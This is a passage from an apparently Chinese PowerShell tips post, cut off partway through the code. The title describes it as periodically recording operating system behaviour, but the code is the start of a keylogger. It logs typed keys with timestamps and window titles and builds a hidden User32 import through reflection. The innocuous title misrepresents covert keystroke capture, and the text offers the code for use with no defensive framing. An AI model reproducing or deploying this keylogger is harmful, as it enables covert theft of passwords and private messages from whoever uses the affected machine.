PowerShell小技巧之定时记录操作系统行为

        '"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

        function KeyLog {
            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

            try
            {
                $ImportDll = [User32]
            }
            catch
            {
                $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

                $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
                $FieldArray = [Reflection.FieldInfo[]] @(
                    [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')